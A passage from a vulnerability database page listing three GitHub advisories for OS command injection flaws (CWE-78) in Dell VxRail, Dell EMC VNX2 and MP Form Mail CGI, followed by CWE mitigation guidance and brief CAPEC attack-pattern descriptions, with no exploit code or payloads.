"type": "CVSS_V3"
}
]
}
GHSA-FCRQ-X4CX-28WM
Vulnerability from github – Published: 2023-05-23 09:30 – Updated: 2024-04-04 04:18Dell VxRail, versions prior to 7.0.450, contains an OS command injection Vulnerability in DCManager command-line utility. A local high privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the application's underlying OS, with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker.
{
"affected": [],
"aliases": [
"CVE-2023-23693"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-23T07:15:10Z",
"severity": "HIGH"
},
"details": "\nDell VxRail, versions prior to 7.0.450, contains an OS command injection Vulnerability in DCManager command-line utility. A local high privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the application\u0027s underlying OS, with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker.\n\n",
"id": "GHSA-fcrq-x4cx-28wm",
"modified": "2024-04-04T04:18:41Z",
"published": "2023-05-23T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23693"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000213011/dsa-2023-071-dell-vxrail-security-update-for-multiple-third-party-component-vulnerabilities-7-0-450"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FCX4-GJW5-4CX6
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31VNX Control Station in Dell EMC VNX2 OE for File versions prior to 8.1.9.236 contains OS command injection vulnerability. Due to inadequate restriction configured in sudores, a local authenticated malicious user could potentially execute arbitrary OS commands as root by exploiting this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2019-3704"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-07T19:29:00Z",
"severity": "HIGH"
},
"details": "VNX Control Station in Dell EMC VNX2 OE for File versions prior to 8.1.9.236 contains OS command injection vulnerability. Due to inadequate restriction configured in sudores, a local authenticated malicious user could potentially execute arbitrary OS commands as root by exploiting this vulnerability.",
"id": "GHSA-fcx4-gjw5-4cx6",
"modified": "2022-05-13T01:31:17Z",
"published": "2022-05-13T01:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3704"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2019/Feb/8"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106954"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FCXM-H2Q6-FQ8M
Vulnerability from github – Published: 2022-05-14 03:39 – Updated: 2022-05-14 03:39MP Form Mail CGI eCommerce Edition Ver 2.0.13 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2018-0514"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-08T14:29:00Z",
"severity": "CRITICAL"
},
"details": "MP Form Mail CGI eCommerce Edition Ver 2.0.13 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors.",
"id": "GHSA-fcxm-h2q6-fq8m",
"modified": "2022-05-14T03:39:13Z",
"published": "2022-05-14T03:39:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0514"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN15462187/index.html"
},
{
"type": "WEB",
"url": "http://www.futomi.com/library/mpmailec.html#history"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.